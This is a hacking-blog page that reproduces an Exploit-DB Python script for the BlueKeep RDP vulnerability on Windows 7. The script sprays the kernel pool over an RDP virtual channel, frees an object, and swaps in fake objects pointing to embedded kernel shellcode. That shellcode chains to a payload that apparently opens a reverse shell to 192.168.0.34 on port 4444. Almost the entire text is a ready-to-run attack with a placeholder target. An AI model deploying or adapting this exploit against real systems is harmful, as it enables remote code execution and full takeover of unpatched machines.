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  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47683.zip

import rdp
import socket
import binascii
import time

def pool_spray(s, crypter, payload):

    times = 10000
    count = 0

    while count < times: 

        count += 1 
        #print('time through %d' % count)

        try: 

            s.sendall(rdp.write_virtual_channel(crypter, 7, 1005, payload))

        except ConnectionResetError:

            print('ConnectionResetError pool_spray Aborting')

            quit()

def main():

    # change to your target
    host = '192.168.0.46'
    port = 3389

    times = 4000
    count = 0

    target = (host, port)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(target)

    crypter = rdp.connect(s)

    # this address was choosen for the pool spray. it could be be
    # modified for potentially higher success rates.
    # in my testing against the win7 VM it is around 80% success
    # 0x874ff028
    shellcode_address = b'\x28\xf0\x4f\x87'

    # replace buf with your shellcode
    buf =  b""
    buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
    buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
    buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
    buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
    buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
    buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
    buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
    buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
    buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
    buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
    buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
    buf += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
    buf += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
    buf += b"\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
    buf += b"\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x00\x22\x68"
    buf += b"\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
    buf += b"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
    buf += b"\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89"
    buf += b"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66"
    buf += b"\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"
    buf += b"\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"
    buf += b"\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
    buf += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68"
    buf += b"\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
    buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"


    # bluekeep_kshellcode_x86.asm
    # ring 0 to ring 3 shellcode
    shellcode = b""
    shellcode += b"\x60\xe8\x00\x00\x00\x00\x5b\xe8\x26\x00\x00\x00"
    shellcode += b"\xb9\x76\x01\x00\x00\x0f\x32\x8d\x7b\x3c\x39\xf8"
    shellcode += b"\x74\x11\x39\x45\x00\x74\x06\x89\x45\x00\x89\x55"
    shellcode += b"\x08\x89\xf8\x31\xd2\x0f\x30\x61\xf4\xeb\xfd\xc2"
    shellcode += b"\x24\x00\x8d\xab\x00\x10\x00\x00\xc1\xed\x0c\xc1"
    shellcode += b"\xe5\x0c\x83\xed\x50\xc3\xb9\x23\x00\x00\x00\x6a"
    shellcode += b"\x30\x0f\xa1\x8e\xd9\x8e\xc1\x64\x8b\x0d\x40\x00"
    shellcode += b"\x00\x00\x8b\x61\x04\x51\x9c\x60\xe8\x00\x00\x00"
    shellcode += b"\x00\x5b\xe8\xcb\xff\xff\xff\x8b\x45\x00\x83\xc0"
    shellcode += b"\x17\x89\x44\x24\x24\x31\xc0\x99\x42\xf0\x0f\xb0"
    shellcode += b"\x55\x08\x75\x12\xb9\x76\x01\x00\x00\x99\x8b\x45"
    shellcode += b"\x00\x0f\x30\xfb\xe8\x04\x00\x00\x00\xfa\x61\x9d"
    shellcode += b"\xc3\x8b\x45\x00\xc1\xe8\x0c\xc1\xe0\x0c\x2d\x00"
    shellcode += b"\x10\x00\x00\x66\x81\x38\x4d\x5a\x75\xf4\x89\x45"
    shellcode += b"\x04\xb8\x78\x7c\xf4\xdb\xe8\xd3\x00\x00\x00\x97"
    shellcode += b"\xb8\x3f\x5f\x64\x77\x57\xe8\xc7\x00\x00\x00\x29"
    shellcode += b"\xf8\x89\xc1\x3d\x70\x01\x00\x00\x75\x03\x83\xc0"
    shellcode += b"\x08\x8d\x58\x1c\x8d\x34\x1f\x64\xa1\x24\x01\x00"
    shellcode += b"\x00\x8b\x36\x89\xf2\x29\xc2\x81\xfa\x00\x04\x00"
    shellcode += b"\x00\x77\xf2\x52\xb8\xe1\x14\x01\x17\xe8\x9b\x00"
    shellcode += b"\x00\x00\x8b\x40\x0a\x8d\x50\x04\x8d\x34\x0f\xe8"
    shellcode += b"\xcb\x00\x00\x00\x3d\x5a\x6a\xfa\xc1\x74\x0e\x3d"
    shellcode += b"\xd8\x83\xe0\x3e\x74\x07\x8b\x3c\x17\x29\xd7\xeb"
    shellcode += b"\xe3\x89\x7d\x0c\x8d\x1c\x1f\x8d\x75\x10\x5f\x8b"
    shellcode += b"\x5b\x04\xb8\x3e\x4c\xf8\xce\xe8\x61\x00\x00\x00"
    shellcode += b"\x8b\x40\x0a\x3c\xa0\x77\x02\x2c\x08\x29\xf8\x83"
    shellcode += b"\x7c\x03\xfc\x00\x74\xe1\x31\xc0\x55\x6a\x01\x55"
    shellcode += b"\x50\xe8\x00\x00\x00\x00\x81\x04\x24\x92\x00\x00"
    shellcode += b"\x00\x50\x53\x29\x3c\x24\x56\xb8\xc4\x5c\x19\x6d"
    shellcode += b"\xe8\x25\x00\x00\x00\x31\xc0\x50\x50\x50\x56\xb8"
    shellcode += b"\x34\x46\xcc\xaf\xe8\x15\x00\x00\x00\x85\xc0\x74"
    shellcode += b"\xaa\x8b\x45\x1c\x80\x78\x0e\x01\x74\x07\x89\x00"
    shellcode += b"\x89\x40\x04\xeb\x9a\xc3\xe8\x02\x00\x00\x00\xff"
    shellcode += b"\xe0\x60\x8b\x6d\x04\x97\x8b\x45\x3c\x8b\x54\x05"
    shellcode += b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\x49"
    shellcode += b"\x8b\x34\x8b\x01\xee\xe8\x1d\x00\x00\x00\x39\xf8"
    shellcode += b"\x75\xf1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
    shellcode += b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24"
    shellcode += b"\x1c\x61\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01"
    shellcode += b"\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x58\x89\x44\x24"
    shellcode += b"\x10\x58\x59\x58\x5a\x60\x52\x51\x8b\x28\x31\xc0"
    shellcode += b"\x64\xa2\x24\x00\x00\x00\x99\xb0\x40\x50\xc1\xe0"
    shellcode += b"\x06\x50\x54\x52\x89\x11\x51\x4a\x52\xb8\xea\x99"
    shellcode += b"\x6e\x57\xe8\x7b\xff\xff\xff\x85\xc0\x75\x4f\x58"
    shellcode += b"\x8b\x38\xe8\x00\x00\x00\x00\x5e\x83\xc6\x55\xb9"
    shellcode += b"\x00\x04\x00\x00\xf3\xa4\x8b\x45\x0c\x50\xb8\x48"
    shellcode += b"\xb8\x18\xb8\xe8\x56\xff\xff\xff\x8b\x40\x0c\x8b"
    shellcode += b"\x40\x14\x8b\x00\x66\x83\x78\x24\x18\x75\xf7\x8b"
    shellcode += b"\x50\x28\x81\x7a\x0c\x33\x00\x32\x00\x75\xeb\x8b"
    shellcode += b"\x58\x10\x89\x5d\x04\xb8\x5e\x51\x5e\x83\xe8\x32"
    shellcode += b"\xff\xff\xff\x59\x89\x01\x31\xc0\x88\x45\x08\x40"
    shellcode += b"\x64\xa2\x24\x00\x00\x00\x61\xc3\x5a\x58\x58\x59"
    shellcode += b"\x51\x51\x51\xe8\x00\x00\x00\x00\x83\x04\x24\x09"
    shellcode += b"\x51\x51\x52\xff\xe0\x31\xc0"

    shellcode += buf

    print('shellcode len: %d' % len(shellcode))

    payload_size = 1600
    payload = b'\x2c\xf0\x4f\x87' + shellcode
    payload = payload + b'\x5a' * (payload_size - len(payload))


    print('[+] spraying pool')
    pool_spray(s, crypter, payload)

    fake_obj_size = 168
    call_offset = 108
    fake_obj = b'\x00'*call_offset + shellcode_address
    fake_obj =  fake_obj + b'\x00' * (fake_obj_size - len(fake_obj)) 

    time.sleep(.5)
    print('[+] sending free')
    s.sendall(rdp.free_32(crypter))
    time.sleep(.15)

    print('[+] allocating fake objects')
    while count < times:
        
        count += 1 
        #print('time through %d' % count)

        try: 

            s.sendall(rdp.write_virtual_channel(crypter, 7, 1005, fake_obj))

        except ConnectionResetError:

            s.close()

    s.close()


if __name__== "__main__":
    main()